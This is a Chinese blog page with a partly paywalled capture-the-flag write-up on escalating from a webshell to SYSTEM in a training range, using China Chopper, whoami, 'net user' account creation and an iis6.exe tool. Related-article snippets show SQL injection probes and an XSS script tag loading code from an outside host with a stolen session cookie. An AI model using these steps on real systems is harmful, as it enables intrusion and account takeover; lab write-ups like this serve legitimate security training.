封神台----尤里的复仇I-第六章：SYSTEM！POWER！

最新推荐文章于 2023-10-10 16:31:21 发布
原创 最新推荐文章于 2023-10-10 16:31:21 发布 · 1.6k 阅读 · 5 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

博客讲述了通过已有的webshell（菜刀）连接，逐步进行权限提升的过程。在无法直接访问C盘和无权限执行某些命令的情况下，利用提权工具iis6.exe，成功获取System权限，创建新用户并加入管理员组，最终实现远程桌面连接并获取Flag。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

在这里插入图片描述
通过上一章，上传的shell，使用菜刀连接
在这里插入图片描述

直接访问C盘下的flag，没有权限。使用虚拟终端，右键点击在这里插入图片描述
输入命令 whoami
在这里插入图片描述
权限不足，这里需要用到提权工具，工具在
在这里插入图片描述
就不用再上传了。
右键点击cmd.exe,打开虚拟终端，输入whoami，可以看到当前用户。
在这里插入图片描述
尝试创建用户命令： net user 110 110 /add
还是权限不足。
在这里插入图片描述

这是因为cmd需要用到外

最低0.47元/天 解锁文章

200万优质内容无限畅学
封神台----尤里的复仇I-第二章：遇到阻难！绕过WAF过滤！
正在学习的路上...
07-18 3709
1.找注入点 进去之后，查看新闻，一般在这里有注入点。 输入 ?id=168 and 1=1 过滤了一些关键字，通过测试没有过滤 == order by == 2.猜列数、报显示位 通过测试，发现查询了10列 ?id=171 order by 10 ?id=466454 select 1,2 ------将id设为一个不存在的数，看显示位 3.查看数据库版本和当前数据库名 ?id=1...
封神台----尤里的复仇I-第三章：这个后台能识别登录者…
正在学习的路上...
07-18 2020
根据提示，真正的后台地址为admin123，输入上一关的账号、密码进去。 分析代码： 从请求头中拿到Referer，并赋值给ComeUrl。 判断ComeUrl是否为空，若是空，则表明是直接输入地址访问。本题不允许 ComeUrl不为空， 读取Host，并在前面拼接 http:// 赋值给cUrl，如果ComeUrl有 " : ",表明有端口号，在为cUrl 加上端口号。 最后判断cUrl和...
封神台 第六章：GET THE PASS！(进程中抓下管理员明文密码）
m0_65712192的博客
10-21 1487
封神台 第六章：GET THE PASS！(进程中抓下管理员明文密码）
封神台 第五章：SYSTEM！POWER！(webshell控制目标 )
m0_65712192的博客
10-19 1438
封神台 第五章：SYSTEM！POWER！(webshell控制目标 )
封神台靶场-第六章
Mr_helloword的博客
07-11 1641
第六章-SYSTEM！POWER！ Tips: 1、提权！ 2、FLAG在C盘根目录下！ 1.在第五章的基础上用菜刀连接，根据提示查看flag，发现没有权限，这里想到提权，这是本章重点（ 注：如果中途出现掉线，重新连接菜刀，或重新上传木马连接） 2.上传cmd.exe,iis6.exe文件（在upfile这里上传这俩个文件） 3.打开cmd命令，想法：创建管理员组新用户成员，奈何权限低。 whoami查看当前用户：发现为web应用服务组成员，权限低 我们想到还有一个iis6，我们查看该用户发现为syst
第五章：SYSTEM，POWER
m0_48294281的博客
01-05 1202
靶场学习心得，欢迎交流！
封神台靶场尤里的复仇I第一第二第五第六第七章解题思路(持续更新）
weixin_50549897的博客
01-02 5374
提示：文## 标题章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录一 .第一章二.第二章1.引入库2.读入数据一 .第六章总结 提示： 本文按照靶场题目推进顺序进行，由于作者水平有限，有讲述不当之处敬请批评指出，有更好的解法欢迎在评论区发表。 本文将持续更新。靶场地址https://hack.zkaq.cn/battle 一 .第一章 **sql注入** 首先通过id=2判断是否存在sql注入 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2021
第五章：SYSTEM！POWER！
m0_51195235的博客
02-06 391
第五章：SYSTEM！POWER！
封神台（尤里的复仇），信息收集1--靶场练习，纯手工注入
最新发布
久恙502的博客
10-10 869
尤里的复仇，做过一遍重新复现一次，练习渗透测试
封神台第五章提权
ma963852的博客
03-31 4552
首先拿到webshell，终端拒绝访问。 重新上传cmd.exe文件至服务器。 右击-虚拟终端 新建一个用户试试还是拒绝访问 因为使用cmd需要用到外部接口wscript.shell。但是wscript.shell仍然在C盘，C盘我们仍然无法访问。这可怎么办？那么就只能再上传一个已经组装好的wscript.shell 上传完成切换到此路径 通过iis6.exe执行命令 接着创建新用户 命令执行成功，查看新建用户 用户为users组成员，将其添加至管理员...
mbp 封神台靶场 六（笔记）
qq_43558415的博客
02-09 1389
打开链接，根据题目提示，flag在c盘根目录下，接上一关的网页后台，打开c盘,发现确实存在flag.txt，但是提示没有权限。 于是知道本关需要我们去进行提权操作，打开D盘，发现cmd.exe和iis6.exe（如果没有可以上传），知道需要用Windows系统来进行操作，于是开启了虚拟机中的windows 7，但还是打不开这个程序，原来是jre环境没装，便去java官网上下了最新版的jre，win...
【封神台 - 掌控安全靶场】尤里的复仇 Ⅰ 小芳！一二三四五六七章
热门推荐
algae
08-14 3万+
【封神台 - 掌控安全靶场】尤里的复仇 小芳！第五章：进击！拿到Web最高权限！【配套课时：绕过防护上传木马实战演练】（等级：15） <script src = https：//xsspt.com/nxqPZY？1597410463> </ script> cookie : ASPSESSIONIDSQDARATQ=KJFAFKEDEAPPFBEDHJFCIGIC; flag=zkz{xsser-g00d},ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNP
获取目标服务器c盘下flag文件信息,公开课基础演练靶场 第六章 webshell控制目标详细解题思路...
weixin_42442653的博客
08-06 1268
我看见第六章的传送门上写着大大的两个字--提权！！在上一章中，我已经通过上传一句话马，用菜刀连接了上传的这个文件，从而得到了后台的部分权限。但是我试过，现在拥有的权限，还不能打开c盘中的文件。而C盘中的文件往往都是比较重要的，因此，我需要提升自己的权限，如下图。进入传送门后，发现这一章的网站仍然是之前看到过的那个。而这个网站的管理员cookie已经被我拿到，并且已经成功上传一句话马至服务器了，如下...
封神台在线靶场--尤里的复仇Ⅰ 小芳！【8题】
feiniaotjx的博客
10-20 1万+
靶场练习 封神台-掌控安全在线演练靶场 第一章：为了女神小芳！
封神台-第5章 绕过防护上传木马
ploto_cs的博客
09-27 803
封神台-第5章 绕过防护上传木马 1.登录后台 获得了管理员的cookie后，去掉里面的flag部分，取出两个有效的键值对，把他们加到登录的cookie里就行了 键值对为ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC 在这个页面按F12 进入存储界面，更改name和value字段 将ADMINSESSIONIDCSTRCSDQ粘贴在Name下 将LBMLMBCCNPFINOANFGLPCFBC粘贴在value 修改成功后刷新点击“准备好了吗” 进入以下页
封神台----尤里的复仇I-第四章：为了更多的权限！留言板！！
正在学习的路上...
07-18 1164
本章主要是xss平台使用，很简单。 自己搭建xss平台或者网上随便找个平台注册使用。 新建个项目，建好后，将下面代码复制到留言板里。 提交，即可。去XSS平台接收消息。 提交，完成。 ...
封神台靶场writeup
weixin_44155363的博客
06-06 8186
封神台靶场 https://hack.zkaq.cn/battle 还是很有意思的一个靶场 查看源码，找到了字典文件； 用域名爆破工具，放入字典后爆破；答案为：http://8adc3387c2ed6cce.lab.aqlab.cn:81 aqlab.cn 一级域名 lab为二级域名 kali01就是三级域名； https://site.ip138.com/ 这个网站能通过同ip网站能直接查处结果； shop.aqlab.cn:8001 nmap完全扫描可发现，快速扫描无法发现； n
ctf实战 掌控安全的靶场 第六关通关记录
wh1te 小白的博客
09-27 1165
题目 上一关已经上传图片马  在菜刀中查看发现c盘有flag.txt 文件但是没有权限访问 需要进行提权  发现可以上传文件 可以选择使用 cmd+pr 提权方式 上传cmd.exe 和pr.exe 上传成功 在菜刀的虚拟终端打开cmd.exe 用whoami指令查看当前权限 发现权限不足 需要提权 使用pr提权  使用pr添加新用户  将新用户添加至管理组 ...
《网络安全应急响应技术实战指南》知识点总结（第6章 webshell网络安全应急响应）
qiuqiunile_的博客
03-26 4495
一、webshell概述 webshell通常指以JSP、ASP、PHP等网页脚本文件形式存在的一种服务器可执行文件，一般带有文件操作、执行命令功能，是一种网页后门。攻击者在入侵一个网站后，通常会将webshell后门文件与网站服务web目录下正常的网页文件混在一起，使用浏览器或专用客户端进行连接，从而得到一个服务器操作环境，以达到控制网站服务器的目的。 二、webshell分类 1、JSP型webshell脚本 全称Java Server Pages，是一种动态web资源的开发技术。JSP是在传统的网页H
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值